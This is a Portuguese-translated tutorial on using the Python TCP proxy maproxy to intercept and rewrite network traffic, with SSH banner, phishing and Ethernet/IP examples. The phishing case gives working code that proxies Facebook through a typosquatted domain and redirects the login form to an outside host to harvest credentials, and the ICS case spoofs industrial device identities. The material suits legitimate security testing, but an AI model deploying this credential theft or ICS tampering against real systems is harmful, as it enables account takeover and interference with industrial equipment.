A tradução do artigo foi preparada em antecipação ao início do curso .

Resumo
Diversos tipos de avaliação de segurança, desde testes de penetração regulares e operações de Red Team até a invasão de dispositivos IoT/ICS e SCADA, envolvem trabalhar com protocolos de rede binários, ou seja, essencialmente interceptar e modificar dados de rede entre o cliente e o alvo. O sniffer de tráfego de rede não é uma tarefa complicada, pois temos ferramentas como Wireshark, Tcpdump ou Scapy, no entanto, a modificação se apresenta como uma tarefa mais trabalhosa, pois precisaremos de uma espécie de interface para ler os dados da rede, filtrá-los, alterar em tempo real e enviá-los de volta ao host de destino quase em tempo real. Além disso, seria ideal se uma ferramenta como essa pudesse operar automaticamente com várias conexões paralelas e tivesse a possibilidade de personalização por meio de scripts.
Certa vez, descobri uma ferramenta chamada , a documentação me fez perceber rapidamente que maproxy – é exatamente o que eu precisava. É um proxy TCP bastante simples, versátil e fácil de configurar. Testei essa ferramenta em vários aplicativos bastante complexos, incluindo dispositivos ICS (que geram muitos pacotes), para descobrir se ela pode lidar com múltiplas conexões paralelas, e a ferramenta se saiu bem.
Este artigo irá familiarizá-lo com o processamento de dados de rede em tempo real usando maproxy.
Visão geral
A ferramenta maproxy é baseado no Tornado – um popular e avançado framework de rede assíncrono em Python.
No geral, ele pode operar em vários modos:
TCP:TCP– conexões TCP não criptografadas;TCP:SSLeSSL:TCP– com criptografia unidirecional;SSL:SSL– criptografia bidirecional.
Ele é fornecido como uma biblioteca. Para uma rápida inicialização, você pode usar os exemplos de arquivos que refletem as principais :
all.pycertificate.pemlogging_proxy.pyprivatekey.pemssl2ssl.pyssl2tcp.pytcp2ssl.pytcp2tcp.py
Caso 1 – proxy bidirecional simples
Baseado em tcp2tcp.py:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start() Por padrão ProxyServer() recebe dois argumentos – local de conexão e porta alvo. server.listen() recebe um argumento – porta para escutar conexões de entrada.
Execução do script:
# python tcp2tcp.py Para realizar o teste, vamos nos conectar a um servidor SSH local através do nosso script proxy, que escuta na 2222/tcp porta e se conecta à porta padrão 22/tcp do servidor SSH:

O banner de boas-vindas informa que nosso exemplo de script proxy conseguiu redirecionar o tráfego de rede.
Caso 2 – modificação de dados
Outro script de demonstração logging_proxy.py é perfeito para interagir com dados de rede. Os comentários no arquivo descrevem os métodos da classe que você pode modificar para atingir seus objetivos:

O mais interessante aqui:
on_c2p_done_read– para interceptar dados do cliente para o servidor;on_p2s_done_read– na direção inversa.
Vamos tentar modificar o banner SSH que o servidor retorna ao cliente:
[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]Execute o script:

Como você pode ver, o cliente foi enganado, pois o nome do servidor SSH foi alterado para "DumnySSH".

Caso 3 – página da web de phishing simples
Existem infinitas maneiras de usar esta ferramenta. Desta vez, vamos nos concentrar em algo mais prático na área de operações de Red Team. Vamos imitar a página de destino m.facebook.com e usar um domínio personalizado com um erro de digitação intencional, como m.facebok.com. Para fins de demonstração, vamos assumir que o domínio foi registrado por nós.
Vamos estabelecer uma conexão de rede não criptografada com nosso proxy e SSL Stream para o servidor do Facebook (31.13.81.36). Para que este exemplo funcione, precisamos substituir o cabeçalho HTTP Host e injetar o nome de host correto, além de desabilitar a compressão das respostas para ter acesso fácil ao seu conteúdo. No final, iremos substituir o formulário HTML para que as credenciais de login sejam enviadas a nós, em vez dos servidores do Facebook:
[…]
def on_c2p_done_read(self,data):
# substitui o cabeçalho Host
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# desabilita a compressão
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
# substituição parcial da resposta
data = data.replace("action="/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]No final:

Como você pode ver, conseguimos substituir o site original com sucesso.
Caso 4 – Interferindo no Ethernet/IP
Eu liderei por bastante tempo com dispositivos e software industriais (ICS / SCADA), como controladores programáveis (PLC), módulos de entrada e saída, atuadores, relés, ambientes de programação em ladder e muito mais. Este caso é para aqueles que gostam de coisas industriais. O hackeamento de tais soluções envolve uma interação ativa com protocolos de rede. No exemplo a seguir, gostaria de mostrar como você pode modificar o tráfego de rede ICS/SCADA.
Para isso, você precisará do seguinte:
- Um sniffer de rede, como o Wireshark;
- Um dispositivo Ethernet/IP ou simplesmente um dispositivo SIP, que você pode encontrar usando o serviço Shodan;
- Nosso script baseado em
maproxy.
Primeiro, vamos ver como se parece uma resposta típica de identificação do CIP (Common Industrial Protocol):

A identificação do dispositivo é realizada através do protocolo Ethernet/IP, que é uma versão estendida do protocolo Ethernet para fins industriais, encapsulando protocolos de controle como o CIP. Vamos alterar o nome de identificação atribuído, que aparece na captura de tela. «NI-IndComm for Ethernet» usando nosso script proxy. Poderíamos reutilizar o script logging_proxy.py e modificar da mesma forma o método da classe on_p2s_done_read, uma vez que queremos que um nome de identificação diferente apareça para o cliente.
Código:
[…] def on_p2s_done_read(self,data): # substituição parcial da resposta
# Verificando se recebemos a resposta da Lista de Identidade
if data[26:28] == b'x0cx00':
print('Recebido resposta, substituindo')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[…] server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
Basicamente, nós solicitamos a identificação do dispositivo duas vezes, a segunda resposta é a original, enquanto a primeira foi modificada em tempo real.
E por último
Na minha opinião, maproxy é uma ferramenta conveniente e simples, que ainda é escrita em Python, por isso acredito que você também pode se beneficiar do seu uso. É claro que existem ferramentas mais complexas para processar e modificar dados de rede, mas elas também demandam mais atenção e geralmente são criadas para um cenário específico de uso, por exemplo, , ou para casos semelhantes ao terceiro, ou para o último caso. De qualquer forma, com maproxy você poderá rapidamente implementar suas ideias para interceptar dados de rede, uma vez que os exemplos de scripts são muito ilustrativos.
Fonte: habr.com
